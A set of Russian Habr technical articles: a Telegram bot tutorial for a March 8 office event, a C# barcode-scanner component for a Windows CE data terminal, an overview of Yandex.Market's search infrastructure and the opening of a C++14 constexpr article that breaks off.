Завтра по всему миру мы будем отмечать самый женский день в году. И это прекрасно! Но это значит, что **сегодня — день, когда мы поздравляем наших дорогих сотрудниц**. И каждый год мы (мужская часть трудового коллектива) думаем, как бы сделать это по-особенному… Цветы, вечерний банкет — все эти милые банальности приятны, но в 21-м веке всем хочется чего-то технологичненького и современненького.
Вот мы в Just AI думали-думали и таки придумали! Под катом — уже готовый туториал, который вы тоже можете запустить прямо сейчас и превратить обычное 8 марта в море позитива!
Что же мы придумали
-------------------
Как бы вы ответили на вопрос «Какой лучший подарок на 8 марта?» Если читатель — мужчина, то он, наверное, тоже подумает о цветах, комплиментах… И так весь день.
И вот тут мы наткнулись на одно интересное меню… Вот оно
«Интересно»- подумали мы. **А что если создать такого чат-бота** в Telegram, который будет предлагать **меню желаний** каждой прекрасной сотруднице нашего офиса? Она выбирает желание, и оно улетает на исполнение одному из коллег. «Да это же как волшебный Джинн из лампы Аладдина!» — девушка просто кликает по меню желаний из списка, оно улетает одному из исполнителей мужчин, и уже через пару минут к ней прибывает добрый молодец с тем, что пожелали! Ну и понеслось…
Далее я покажу, как мы за час запустили такого бота на нашем конструкторе [Aimylogic](https://aimylogic.com). Вы можете создать его еще быстрее — просто кликнув по уже готовому шаблону, который мы так же подготовили, немного его поменять при желании — и ваше офисное празднование 8 марта заиграет новыми красками! **Проверено на нас.**
### Шаблончик
Как я сказал выше, вы можете просто войти под своей учеткой на [Aimylogic](https://app.aimylogic.com) и кликнуть по шаблону «Мартовский Джинн», чтобы моментально создать готового бота.
Далее нажмите на кнопку **Опубликовать** в правом верхнем углу и выберите канал **Telegram**. Вас попросят указать токен бота в Телеграме. Чтобы его получить, откройте Телеграм-клиент, найдите поиском бота @BotFather и создайте там нового бота. Подробнее о создании бота [можно почитать тут](https://core.telegram.org/bots#6-botfather).
После того, как вы опубликуете свой проект в канале Telegram, он начнет работать в вашем боте.
Далее я расскажу о том, как все устроено, и что можно поменять в проекте, чтобы сделать его уникальным.
Как все работает
----------------
Бот начинает свою работу с приветственного экрана (самый левый в проекте). И далее тут же прыгает на меню с кнопками — это то самое меню желаний. Каждая кнопка соответствует какому-то желанию, которое мы (мужчины) согласны исполнять (ведь всему есть мера).
Конечно же, милая дама может не только кликнуть по кнопке, но и написать желание на клавиатуре. Чтобы бот понял, какому желанию соответствует это текстовое послание, в Aimylogic есть инструмент под названием **Сущности**. Если вы туда заглянете, то увидите, что это список желаний с различными формулировками каждого из них. Собственно здесь вы можете добавить свои пункты в меню, но не забудьте поменять список кнопок в сценарии.
Когда девушка жмет на кнопку или пишет какое-то желание, схожее по звучанию с тем что есть в сущностях, заполняется переменная **$desire** — в ней будет храниться то, что в сущностях указано как Сущность. Вот это и полетит к исполнителю вместе с контактными данными представительницы прекрасного пола.
### Считаем время
Конечно же, если все дамы будут кликать на все кнопки подряд, то это может спровоцировать перегрузку системы исполнения (то есть нас, мужчин). Поэтому мы предлагаем ограничивать время между двумя желаниями подряд. Например 10 минут. Или 20. Вы можете это менять. На экране, который подписан как **Считаем время** можно увидеть, как бот рассчитывает время между двумя желаниями.
Собственно тут бот получает текущее время с нашего сервиса, потом создает пару переменных, в которых сохраняет время, прошедшее с предыдущего запроса. На следующем шаге бот просто проверяет условие и либо отправляет заявку исполнителю, либо просит свою собеседницу чуть-чуть подождать.
### Как бот выбирает исполнителя желания
Тут все работает так. Мы создаем на Google Drive обычную Excell табличку, куда прописываем всех участвующих в акции мужчин (а вдруг кто-то откажется). Пример такой таблички — [docs.google.com/spreadsheets/d/1RFE5hIi7R9QYWC0OzDczL1UZKggcufbINuOLQUKgbl0/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1RFE5hIi7R9QYWC0OzDczL1UZKggcufbINuOLQUKgbl0/edit?usp=sharing)
Как видите, в ней две колонки. Идентификатор — уникальное число, которое каждый участник получает при запуске спец-бота (который будет оповещать о поступивших заявках), и имя исполнителя — его увидит дама, пославшая заявку.
Далее ее нужно опубликовать в вебе (Файл — Опубликовать в вебе), скопировать идентификатор из адресной строки и подставить в URL вида [tools.aimylogic.com/api/googlesheet2json?id=1RFE5hIi7R9QYWC0OzDczL1UZKggcufbINuOLQUKgbl0](https://tools.aimylogic.com/api/googlesheet2json?id=1RFE5hIi7R9QYWC0OzDczL1UZKggcufbINuOLQUKgbl0) — он будет превращать вашу таблицу в JSON массив с полями, соответствующими названиям колонок. Вот его-то мы и подставляем в HTTP запрос в нашем сценарии в Aimylogic, чтобы бот выбирал одного из участников для исполнения желания.
В переменную **$genie** мы запишем случайно выбранного исполнителя вот так
```
_.sample($httpResponse)
```
(так как Aimylogic поддерживает [underscore](http://underscorejs.org))
### Куда отправляется заявка
Отлично! Наш бот принимает желание, выбирает исполнителя из списка в гугл табличке, а дальше должен как-то оповестить этого исполнителя о том, что пора бы ему принести чашечку кофе, организовать легкий перекус или придумать доселе неслыханный комплимент. Но как мы это сделаем?
Мы решили поступить просто. Опубликовали еще одного простенького бота в Телеграме [t.me/GenieCenterBot](https://t.me/GenieCenterBot) (вы кстати тоже можете использовать его, чтобы не создавать своего отдельно). Он работает по принципу «Убера для таксистов» — то есть предназначен только для исполнителей желаний и просто оповещает о поступлении новой заявки исполнителя. При старте он выдает идентификатор, который и нужно записать в гугл таблицу с перечнем исполнителей. Собственно каждый мужчина, кто участвует, ставит себе этого бота и сообщает идентификатор тому, кто заведует таблицей.
Бот для девушек после выбора исполнителя делает HTTP запрос на [API Телеграма](https://core.telegram.org/bots/api#sendmessage), чтобы отправить оповещение.
Что еще можно добавить?
-----------------------
Итак, у нас есть шаблон с ботом-исполнителем желаний. И вы вольны его менять как угодно. Что же можно сделать, чтобы он стал интереснее?
#### Другой персонаж
У нас это Джинн из лампы Аладдина. И фразочки у него соответствующие. У вас это может быть кто-то другой — Старик Хоттабыч, Золотая рыбка или Двое из ларца :-) Главное — заменить картинки и реплики.
#### Другой список желаний
Как я уже писал выше, можно изменять как угодно сами желания. Для этого нужно изменить список сущностей и кнопок на экране с меню. Тут все зависит только от того, на что вы, исполнители, готовы ради прекрасных дам…
#### Кастомные желания
Мы еще сделали так, чтобы наши девушки могли заказывать желания, которых нет в списке. Правда мы не бежим их сразу исполнять (мало ли, что там *нажелают*). Мы сперва отправляем текст желания на спец доску **Trello** через тот же [сервис IFTTT](https://help.aimylogic.com/ru/article/integraciya-s-ifttt-sho8pe/), голосуем там своим коллективом в закрытом чатике, и потом, если желание проходит нашу «модерацию», добавляем его в бота.
#### Статистика
Забавная штука — отслеживать, сколько и кому желаний выпало, кто самая активная участница мартовского флешмоба и так далее. Для этого опять же — просто отправляем каждое желание в какую-то табличку на гугл драйве через IFTTT.
#### Чат с Джинном
А если что-то сломается в течение дня? Или кто-то из исполнителей слишком долго исполняет заявку? За этим нужно пристально следить! А для этого в сценарий можно подключить онлайн чат с оператором (например LiveTex или Webim). Как только девушка кликнет на кнопку **Чат с Джинном**, управление перейдет к живому человеку, который поможет решить любую проблему.
Праздник к нам приходит
-----------------------
Если вы дочитали до конца, значит, вы уже готовы запустить этого чудо-бота у себя в офисе? Торопитесь, 7 марта в разгаре! **А значит, самое время удивлять!**
 | https://habr.com/ru/post/442750/ | null | ru | null |
# Пишем под ТСД. Подключение сканера штрихкода, как компонент формы
Ни для кого не секрет, что промышленное ПО для терминалов сбора данных (ТСД) пишется для автоматизации бизнес процессов, в особенности — складских. Большая часть задач, которые необходимо решить с помощью ТСД, связана со штрихкодированием, благо сканер штрихкода в девайс встроен.
В этом статье пойдет речь о том, как начать писать программы для терминалов сбора данных, и как подключить и использовать сканер штрихкода.
Мой подопытный образец Motorola MC3190 обладает лазерным сканером штрихкода. (В ближайшее время планирую плотно заняться Datalogic c имэйджером).
Кому интересно, можете [ознакомиться со спецификацией](http://www.motorolasolutions.com/web/Business/Products/Mobile%20Computers/Handheld%20Computers/_Documents/MC3100-Spec-Sheet-1009.pdf).
На девайсе установлена Windows CE, соответственно и писать будет необходимо под нее. И если Вы никогда не пробовали писать под ТСД, конечно же, начать стоит с Hello World. Чтобы запустить приложение, написанное на C# на сем устройстве, необходимо установить на него .NET 3.5 Compact. А так же иметь под рукой Visual Studio 2008, так как во всех последующих релизах вариант проекта Smart Device отсутствует (мелкомягкие любят навязывать свои новые технологии, которые, к сожалению, не всегда совместимы с ранними версиями их же операционной системы).
Итак, создав простенькое приложение, можно попробовать его сразу же запустить. Если устройство подключено к компьютеру, то студия сразу же предложит выполнить запуск непосредственно на нем, с возможностью отладки, разумеется. Подождав несколько минут можно увидеть запуск формочки на устройстве.
Вот теперь можно приступать к самому интересному.
Для того чтобы использовать объектную модель, уже реализованную в C#, Motorola подготовила целый ряд библиотек. Фактически с помощью них можно творить все, что нам вздумается. Называется это чудо Symbol. В нашем случае будет использована Symbol.Barcode. К сожалению, в данный момент официальный сайт библиотеки symbol.com перенаправляет нас на motorolasolutions.com, сообщая о том, что технология устарела. Но я в свое время сделал копии всех Reference с примерами:
[cloud.mail.ru/public/6716403f96ac%2FSymbolReference.7z](https://cloud.mail.ru/public/6716403f96ac%2FSymbolReference.7z)
[cloud.mail.ru/public/c48120476007%2FSymbolExample.7z](https://cloud.mail.ru/public/c48120476007%2FSymbolExample.7z)
В примерах, те, кому интересно, конечно могут покопаться, но я могу сразу предупредить, что есть статьи, в которых описано все гораздо проще и удобнее, на мой взгляд, лучшая среди них: [kbss.ru/blog/dotnetcf/178.html](http://kbss.ru/blog/dotnetcf/178.html). Но, тем не менее, я считаю, что каждый раз подключать так сканер штрихкода не очень удобно, особенно если приложение планируется многооконным. К тому же в некоторых случаях могут возникнуть проблемы со считыванием, при возвращении фокуса в родительское окно от дочернего.
Из всего, что можно найти в интернете, главное осознать то, что самым удобным способом обработки штрихкодов является модель, построенная на событиях:
1. Сработал сканер штрихкода.
2. Распознал штрихкод корректно.
3. Мы вызываем событие обработки этого штрихкода у себя в программе, уже разобранного и удобного для восприятия.
Компонент формы — паттерн, позволяющий добавлять свой контрол в конструктор форм студии. Этим и воспользуемся. И не только потому, что это упростит разработку форм, а еще и потому, что в дальнейшем компоненту можно будет доработать так, чтобы она поддерживала сканеры не только от Motorol`ы.
Затем надо описать класс компоненты.
```
public partial class BarcodeReader : Component
{
private Symbol.Barcode.BarcodeReader barcodeReader = null;
public delegate void OnReadBarcodeReaderEventHandler(string Text);
public event OnReadBarcodeReaderEventHandler OnRead;
public BarcodeReader()
{
InitializeComponent();
InitializeBarcodeReader();
}
public BarcodeReader(IContainer container)
{
container.Add(this);
InitializeComponent();
InitializeBarcodeReader();
}
private void InitializeBarcodeReader()
{
this.barcodeReader = new Symbol.Barcode.BarcodeReader();
this.barcodeReader.ListChanged += new System.ComponentModel.ListChangedEventHandler(BarcodeReader_ListChanged);
this.barcodeReader.Start();
this.components.Add(this.barcodeReader);
}
void BarcodeReader_ListChanged(object sender, System.ComponentModel.ListChangedEventArgs e)
{
if (this.barcodeReader.ReaderData.Result == Symbol.Results.SUCCESS)
{
OnRead(this.barcodeReader.ReaderData.Text);
}
}
}
```
На что здесь надо обратить внимание:
1. Любое событие, которые добавляется в компоненте, становится доступно в конструкторе формы.
2. На основании IContainer container в конструкторе форм реализован механизм высвобождения памяти, в том числе и unmanage объектов. Соответственно грех этим не воспользоваться. Добавляем в контейнер объект считывателя штрихкода, и память высвободится рекурсивно, при закрытии формы, в которой содержится описываемая здесь компонента.
//
О том, как это происходит можно понять открыв designer любой из форм, созданной в конструкторе, и посмотрев на перегрузку:
```
private System.ComponentModel.IContainer components = null;
///
/// Clean up any resources being used.
///
/// true if managed resources should be disposed; otherwise, false.
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
```
//
3. Чуть-чуть переопределяем событие считывания, избавив себя от обработки считанных с ошибками данных.
Дальше дело за малым: перетащить компоненту на форму:
И добавить событие обработки штрихкода:
Убедиться в работе более чем достаточно следующего кода:
```
private void barcodeReader1_OnRead(string Text)
{
MessageBox.Show(Text);
}
```
Получилось несколько сумбурно, и очень много скриншотов. Повторив вышеперечисленные шаги вы освоите сразу три вещи:
1. Создавать и запускать в режиме отладки программы под терминалы сбора данных.
2. Разберетесь как работать со сканером штрихкода.
3. Научитесь создавать компоненты форм.
Я надеюсь эта статья поможет тем, кто только начал разбираться с программированием под ТСД, и несколько упростит этим людям жизнь.
[github example](https://github.com/zeegin/BarcodeReaderFormComponentExample) | https://habr.com/ru/post/235869/ | null | ru | null |
# Как устроен поиск Яндекс.Маркета и что будет, если упадёт один из серверов
Привет, меня зовут Евгений. Я работаю в инфраструктуре поиска Яндекс.Маркета. Хочу рассказать сообществу Хабра о внутренней кухне Маркета – а рассказать есть что. Прежде всего, как устроен поиск Маркета, процессы и архитектура. Как мы справляемся с внештатными ситуациями: что случится, если упадёт один сервер? А если таких серверов будет 100?
А ещё вы узнаете, как мы внедряем новую функциональность на куче серверов сразу. И как тестируем сложные сервисы прямо в production, не доставляя пользователям никаких неудобств. В общем, как устроен поиск Маркета, чтобы всем было хорошо.
Немного о нас: какую задачу мы решаем
-------------------------------------
Когда вы вводите текст, ищете товар по параметрам или сравниваете цены в разных магазинах, все запросы прилетают на сервис поиска. Поиск – это самый большой сервис в Маркете.
Мы обрабатываем все поисковые запросы: с сайтов market.yandex.ru, beru.ru, сервиса «Суперчек», Яндекс.Советника, мобильных приложений. К нам относятся и предложения товаров в поисковой выдаче на yandex.ru.
Под поисковым сервисом я имею в виду не только непосредственно поиск, но и базу данных со всеми предложениями на Маркете. Масштаб такой: в сутки обрабатывается более миллиарда поисковых запросов. И всё должно работать быстро, без перебоев и всегда выдавать нужный результат.
Что есть что: архитектура Маркета
---------------------------------
Кратко опишу текущую архитектуру Маркета. Условно можно описать её схемой ниже:
Допустим, к нам приходит магазин-партнёр. Говорит, хочу продать игрушку: вот этого злобного кота с пищалкой. И ещё злобного кота без пищалки. И просто кота. Тогда магазину нужно подготовить предложения, по которым Маркет осуществляет поиск. Магазин формирует специальный xml с предложениями и сообщает путь к этому xml через партнерский интерфейс. Затем индексатор периодически скачивает этот xml, проверяет на наличие ошибок и сохраняет всю информацию в огромную базу данных.
Таких сохранённых xml много. Из этой базы данных создается поисковый индекс. Индекс хранится во внутреннем формате. После создания индекса сервис Раскладки выкладывает его на поисковые серверы.
В итоге, в базе появляется злобный кот с пищалкой, а на сервере – индекс кота.
О том, как мы ищем кота, расскажу в части об архитектуре поиска.
Архитектура поиска маркета
--------------------------
Мы живем в мире микросервисов: каждый входящий запрос на [market.yandex.ru](http://market.yandex.ru) вызывает очень много подзапросов, и в их обработке участвуют десятки сервисов. На схеме изображены только некоторые:
*Упрощённая схема обработки запроса*
У каждого сервиса есть замечательная штука – свой балансер с уникальным именем:
Балансер даёт нам большую гибкость в управлении сервисом: можно, например, выключать серверы, что часто требуется для обновлений. Балансер видит, что сервер недоступен и автоматически перенаправляет запросы на другие серверы или дата-центры. При добавлении или удалении сервера нагрузка автоматически перераспределяется между серверами.
Уникальное имя балансера не зависит от дата-центра. Когда сервис А делает запрос в B, то по умолчанию балансер B перенаправляет запрос в текущий дата-центр. Если же сервис недоступен или отсутствует в текущем дата-центре, то запрос перенаправляется в другие дата-центры.
Единый FQDN для всех дата-центров позволяет сервису А вообще абстрагироваться от локаций. Его запрос в сервис B всегда будет обработан. Исключение составляет случай, когда сервис лежит во всех дата-центрах.
Но не всё так радужно с этим балансером: у нас появляется дополнительная промежуточная компонента. Балансер может работать нестабильно, и эта проблема решается избыточными серверами. Также происходит дополнительная задержка между сервисами A и В. Но на практике она меньше 1 мс и для большинства сервисов это некритично.
### Борьба с неожиданностями: балансировка и отказоустойчивость сервиса поиска
Представьте, что случился коллапс: надо найти кота с пищалкой, но падает сервер. Или 100 серверов. Как выкрутиться? Неужели оставим пользователя без кота?
Ситуация страшная, но мы к ней готовы. Расскажу по порядку.
Поисковая инфраструктура находится в нескольких дата-центрах:
При проектировании мы закладываем возможность отключения одного дата-центра. Жизнь полна неожиданностей – например, экскаватор может перерубить подземный кабель (да, было и такое). Мощностей в оставшихся дата-центрах должно быть достаточно, чтобы выдержать пиковую нагрузку.
Рассмотрим отдельно взятый дата-центр. В каждом дата-центре одинаковая схема работы балансеров:
Один балансер – это как минимум три физических сервера. Такая избыточность сделана для надежности. Балансеры работают на HAProxу.
HAProxу мы выбрали из-за высокой производительности, небольших требований к ресурсам и широкой функциональности. Внутри каждого сервера работает наш поисковый софт.
Вероятность выхода из строя одного сервера невелика. Но если у вас много серверов, вероятность того, что упадёт хотя бы один, увеличивается.
Так и происходит в реальности: серверы падают. Поэтому надо постоянно отслеживать состояния всех серверов. Если сервер перестает отвечать, то его автоматически отключают от трафика. Для этого в HAProxy есть встроенный health check. Он раз в секунду ходит на все серверы с HTTP запросом «/ping».
Другая особенность HAProxy: agent-check позволяет равномерно загружать все сервера. Для этого HAProxy подключается ко всем серверам, а они возвращают свой вес в зависимости от текущей нагрузки от 1 до 100. Вес вычисляется на основании количества запросов в очереди на обработку и нагрузки на процессор.
Теперь о поиске кота. На поиск прилетают запросы вида **/search?text=angry+cat**. Чтобы поиск был быстрым, весь индекс кота должен помещаться в оперативную память. Даже чтение из SSD недостаточно быстрое.
Давным-давно база предложений была маленькая, и для неё хватало оперативной памяти одного сервера. По мере роста базы предложений, все перестало помещаться в эту оперативную память, и данные разделили на две части: shard 1 и shard 2.
Но так всегда бывает: любое решение, даже хорошее, порождает другие проблемы.
Балансер по-прежнему ходил на любой сервер. Но на той машине, куда пришел запрос, была только половина индекса. Остальная находилась на других серверах. Поэтому серверу надо было сходить на какую-то соседнюю машину. После получения данных от обоих серверов, результаты объединялись и переранжировались.
Поскольку балансер распределяет запросы равномерно, то все серверы занимались переранжированием, а не только отдавали данные.
Проблема возникала, если соседний сервер оказывался недоступен. Решением было указать в качестве «соседнего» сервера несколько серверов с разными приоритетами. Сперва запрос отправлялся на серверы в текущую стойку. Если не поступало ответа, запрос отправлялся на все серверы в этом дата-центре. И уже в последнюю очередь запрос шел в другие дата-центры.
По мере роста количества предложений данные разделили на четыре части. Но и это был не предел.
Сейчас используется конфигурация из восьми шардов. Кроме того, для ещё большей экономии памяти индекс разделили на поисковую часть (по которой происходит поиск) и на сниппетную часть (которая не участвует в поиске).
Один сервер содержит информацию только по одному шарду. Поэтому, чтобы совершить поиск по полному индексу, надо искать на восьми серверах, содержащих разные шарды.
Серверы сгруппированы в кластеры. Каждый кластер содержит восемь поисковых серверов и один сниппетный.
На сниппетном сервере работает key-value база данных со статическими данными. Они нужны для выдачи документов, например, описания кота с пищалкой. Данные специально вынесены на отдельный сервер, чтобы не загружать память поисковых серверов.
Поскольку ID документов уникальны только в рамках одного индекса, могла возникнуть ситуация, что в «сниппетах» отсутствуют документы. Ну или что по одному ID будет другой контент. Поэтому, чтобы поиск работал и происходила выдача, появилась необходимость в консистентности всего кластера. О том, как мы следим за консистентностью, расскажу чуть ниже.
Сам поиск устроен следующим образом: поисковый запрос может прийти на любой из восьми серверов. Допустим, он пришел на сервер 1. Этот сервер обрабатывает все аргументы и понимает, что и как надо искать. В зависимости от входящего запроса сервер может делать дополнительные запросы во внешние сервисы за нужной информацией. За одним запросом может последовать до десяти запросов во внешние сервисы.
После сбора нужной информации начинается поиск по базе предложений. Для этого делаются подзапросы на все восемь серверов в кластере.
После получения ответов результаты объединяются. В конце для формирования выдачи могут понадобиться еще несколько подзапросов на сниппетный сервер.
Поисковые запросы внутри кластера имеют вид: **/shard1?text=angry+cat**. Кроме того, между всеми серверами внутри кластера раз в секунду постоянно делаются подзапросы вида: **/status**.
Запрос **/status** обнаруживает ситуацию, когда сервер не доступен.
Также он контролирует, чтобы на всех серверах версия поисковика и версия индекса были одинаковы, иначе внутри кластера будут неконсистентные данные.
Несмотря на то, что один сниппетный сервер обрабатывает запросы от восьми поисковых, его процессор загружен совсем слабо. Поэтому сейчас мы переносим сниппетные данные в отдельный сервис.
Чтобы перенести данные, мы ввели универсальные ключи для документов. Теперь невозможна ситуация, когда по одному ключу возвращается контент от другого документа.
Но переход на другую архитектуру еще не завершён. Сейчас мы хотим избавиться от выделенного сниппетного сервера. А затем вообще отойти от кластерной структуры. Это позволит нам продолжать легко масштабироваться. Дополнительный бонус – значительная экономия железа.
А теперь к страшным историям со счастливым концом. Рассмотрим несколько случаев недоступности серверов.
#### Случилось ужасное: недоступен один сервер
Допустим, один сервер недоступен. Тогда остальные серверы в кластере могут продолжить отвечать, но поисковая выдача будет неполной.
Через проверку статуса **/status** соседние серверы понимают, что один недоступен. Поэтому, для сохранения полноты, все серверы в кластере на запрос **/ping** начинают отвечать балансеру, что они тоже недоступны. Получается, умерли все серверы в кластере (что не так). Это основной недостаток нашей схемы с кластерами – поэтому мы хотим от неё уйти.
Запросы, которые завершились с ошибкой, балансер переспрашивает на других серверах.
Также балансер перестает отправлять на мёртвые серверы пользовательский трафик, но продолжает проверять их статус.
Когда сервер становится доступен, он начинает отвечать на **/ping**. Как только начинают приходить нормальные ответы на пинги от мёртвых серверов, балансеры начинают отправлять туда пользовательский трафик. Работа кластера восстанавливается, ура.
#### Ещё хуже: недоступно много серверов
Вырубается значительная часть серверов в дата-центре. Что делать, куда бежать? На помощь опять приходит балансер. Каждый балансер постоянно содержит в памяти текущее количество живых серверов. Он всё время считает максимальное количество трафика, которое может обработать текущий дата-центр.
Когда падает много серверов в дата-центре, балансер понимает, что этот дата-центр не может обработать весь трафик.
Тогда избыточный трафик начинает случайным образом распределятся в другие дата-центры. Всё работает, все счастливы.
Как мы это делаем: публикация релизов
-------------------------------------
Теперь о том, как мы публикуем внесённые в сервис изменения. Здесь мы пошли по пути упрощения процессов: выкатка нового релиза почти полностью автоматизирована.
Когда набирается определённое количество изменений в проекте, автоматически создается новый релиз и запускается его сборка.
Затем сервис выкатывается в testing, где проверяется стабильность работы.
Одновременно с этим запускается автоматическое тестирование производительности. Им занимается специальный сервис. Не буду о нём сейчас рассказывать – его описание достойно отдельной статьи.
Если публикация в testing прошла успешно, автоматически запускается публикация релиза в prestable. Prestable – это специальный кластер, куда направляется нормальный пользовательский трафик. Если он возвращает ошибку, балансер делает перезапрос в production.
В prestable замеряется время ответов и сравнивается с предыдущим релизом в production. Если всё нормально, то подключается человек: проверяет графики и результаты нагрузочного тестирования и затем запускает выкатку в production.
Всё лучшее – пользователю: A/B-тестирование
-------------------------------------------
Не всегда очевидно, принесут ли изменения в сервисе реальную пользу. Чтобы измерять полезность изменений, люди придумали A/B-тестирование. Я немного расскажу, как это работает в поиске Яндекс.Маркета.
Все начинается с добавления нового CGI-параметра, который включает новую функциональность. Пусть нашим параметром будет: *market\_new\_functionality=1*. Затем в коде включаем эту функциональность при наличии флага:
```
If (cgi.experiments.market_new_functionality) {
// enable new functionality
}
```
Новая функциональность выкатывается в production.
Для автоматизации A/B-тестирования есть выделенный сервис, который подробно [описан здесь](https://habr.com/ru/company/yandex/blog/342704/). В сервисе создается экcперимент. Задается доля трафика, например, 15 %. Проценты задаются не для запросов, а для пользователей. Также указывается время эксперимента, например, неделя.
Одновременно может быть запущено несколько экспериментов. В настройках можно указать, возможно ли пересечение с другими экспериментами.
В результате сервис автоматически добавляет аргумент *market\_new\_functionality=1* к 15 % пользователей. Также он автоматически считает выбранные метрики. После окончания эксперимента аналитики смотрят на результаты и делают выводы. На основании выводов принимается решение о выкатке в production или доработке.
Ловкая рука Маркета: тестирование в production
----------------------------------------------
Часто случается, что надо проверить работу новой функциональности в production, но при этом нет уверенности, как она себя поведет в «боевых» условиях под большой нагрузкой.
Есть решение: флаги в CGI параметрах можно использовать не только для A/B-тестирования, но и для проверки новой функциональности.
Мы сделали инструмент, который позволяет мгновенно изменять конфигурацию на тысячах серверов, не подвергая сервис рискам. Он называется «Стоп-кран». Первоначальная идея заключалась в возможности быстро отключать какую-то функциональность без раскладки. Затем инструмент расширился и усложнился.
Схема работы сервиса представлена ниже:
Через API задаются значения флагов. Сервис управления сохраняет эти значения базе данных. Все серверы ходят в базу раз в десять секунд, выкачивают значения флагов и применяют эти значения на каждый запрос.
В Стоп-кране можно выставлять два вида значений:
1) Условные выражения. Применяются, когда выполняется одно из значений. Например:
```
{
"condition":"IS_DC1",
"value":"3",
},
{
"condition": "CLUSTER==2 and IS_BERU",
"value": "4!"
}
```
Значение «3» будет применяться, когда запрос будет обрабатываться в локации DC1. А значение «4», когда запрос обрабатывается на втором кластере для сайта beru.ru.
2) Безусловные значения. Применяются по умолчанию, если не выполнено ни одно из условий. Например:
*value, value!*
Если значение заканчивается на восклицательный знак, ему присваивается повышенный приоритет.
Парсер CGI-параметров разбирает URL. Затем применяет значения из Стоп-крана.
Применяются значения со следующими приоритетами:
1. С повышенным приоритетом из Стоп-крана (восклицательный знак).
2. Значение из запроса.
3. Значение по умолчанию из Cтоп-крана.
4. Значение по умолчанию в коде.
Флагов, которые указываются в условных значениях, много – их хватает на все известные нам сценарии:
* Дата-центр.
* Окружение: production, testing, shadow.
* Площадка: market, beru.
* Номер кластера.
Этим инструментом можно включить новую функциональность на какой-то группе серверов (например, только в одном дата-центре) и проверить работу этой функциональности без особого риска для всего сервиса. Даже если вы где-то серьёзно ошиблись, всё начало падать и лег весь дата-центр, балансеры перенаправят запросы в другие дата-центр. Конечные пользователи ничего не заметят.
Если вы заметили проблему, можно сразу вернуть прежнее значение флага, и изменения откатятся назад.
У этого сервиса есть и минусы: разработчики его очень любят и часто пытаются все изменения запихнуть в Стоп-кран. Мы пытаемся бороться с неправильным использованием.
Подход со Стоп-краном хорошо работает, когда у вас уже есть стабильный код, готовый к выкатке в production. При этом у вас ещё остаются сомнения, и вы хотите проверить код в «боевых» условиях.
Однако Стоп-кран не подходит для тестирования в процессе разработки. Для разработчиков есть отдельный кластер, который называется «теневой кластер».
Тайное тестирование: теневой кластер
------------------------------------
Запросы с одного из кластеров дублируются на теневой кластер. Но балансер полностью игнорирует ответы этого кластера. Схема его работы представлена ниже.
Мы получаем тестовый кластер, который находится в настоящих «боевых» условиях. Туда летит нормальный пользовательский трафик. Железо в обоих кластерах одинаковое, поэтому можно сравнивать производительность и ошибки.
А поскольку балансер полностью игнорирует ответы, то конечные пользователи ответов от теневого кластера не увидят. Поэтому не страшно совершить ошибку.
Выводы
------
Итак, как же мы выстроили поиск Маркета?
Чтобы всё шло гладко, мы выделяем функциональности в отдельные сервисы. Так можно и масштабировать только те компоненты, которые нам нужны, и делать компоненты более простыми. Отдельный компонент легко отдать в другую команду и разделить обязанности по работе над ним. И значительная экономия железа при таком подходе – очевидный плюс.
Нам также помогает теневой кластер: можно разрабатывать сервисы, тестировать их в процессе и при этом не беспокоить пользователя.
Ну и проверка в production, конечно. Нужно изменить конфигурацию на тысяче серверов? Легко, используем Стоп-кран. Так можно сразу выкатить готовое сложное решение и сделать откат на стабильную версию, если возникнут проблемы.
Надеюсь, я сумел показать, как мы делаем Маркет быстрым и стабильным при постоянно растущей базе предложений. Как решаем серверные проблемы, разбираемся с огромным числом запросов, улучшаем гибкость сервиса и делаем это, не прерывая рабочих процессов. | https://habr.com/ru/post/475848/ | null | ru | null |
# Используем template + constexpr для создания масок регистров периферии микроконтроллера на этапе компиляции (C++14)
Введение
--------
Эта небольшая заметка содержит не очевидное решение поставленной ниже задачи, до которого мне пришлось доходить несколько бессонных ночей.
Задача: на основе заданных пользователем данных о том, как должен работать периферийный блок микроконтроллера, получить на этапе компиляции массив масок конфигурации его регистров, которые можно было бы использовать в реальном времени. При этом требуется на этапе компиляции проверить, что все параметры заданные верно (периферия микроконтроллера будет сконфигурирована верна).
Заинтересовавшихся в том, как это можно сделать, прошу под кат.
Оглавление:
-----------
1. Основные проблемы и ограничения C++14.
2. Решение, основывающиеся на том, что пользователь никогда не ошибается.
3. Учет пользовательских ошибок.
4. Расширим возможности класса.
5. О сокращенных записях.
6. Итог.
Основные проблемы и ограничения C++14
-------------------------------------
Как только я столкнулся с задачей, описанной во введении, я сразу же вспомнил про спецификатор языка C++ — **constexpr**. Поскольку необходимость решения данной задачи была выявлена еще на этапе проектирования библиотеки, то были учтены все ограничения стандарта C++11, на котором изначально планировалось построить библиотеку (невозможность использовать внутри constexpr методов циклы и т.д.), и в качестве языка библиотеки был выбран стандарт C++14, в котором убраны многие ограничения C++11 (C++17 не был выбран намеренно, т.к. он, с точки зрения поставленных перед библиотекой задач, не слишком отличался от C++14, при этом его поддержка у GCC, так же выбранным в качестве основного компилятора библиотеки, на момент написания статьи, не слишком стабильна).
Но несмотря на то, что constexpr функции в C++14 стали практически такими же гибкими, как и функции реального времени, у них остался один жирный минус, перечеркивающий большинство достоинств — отсутствие какой-либо отладки. Об этом писалось на Хабре [тут](https://habrahabr.ru/post/228181/). Из данной статьи я почерпнул основную мысль:
> Но на этом проблемы не заканчиваются. Когда пишешь какую-то constexpr-функцию, которую потом будут часто использовать, хорошо бы возвращать читабельную ошибку. Тут можно ошибочно предположить, что static\_assert как раз для этого подходит. Но static\_assert использовать не получится, так как параметры функций не могут быть constexpr, из-за чего значения параметров не гарантированно будут известны на этапе компиляции.
>
>
>
> Как же выводить ошибки? Единственный более-менее нормальный способ, который я нашел, заключается в выбрасывании исключения:
А так как исключения не поддерживаются в constexpr методах, то мы просто будем получать ошибку о том, что использование throw в constexpr невозможно. В случае, если мы обрабатывали что-то в цикле, то мы никогда не сможем узнать, на каком именно элементе мы упали (при проверке какого элемента мы вызвали исключение).
И того, ситуация следующая: static\_assert нельзя, throw нельзя, printf и прерывание компиляции — нельзя.
Решение, основывающиеся на том, что пользователь никогда не ошибается
---------------------------------------------------------------------
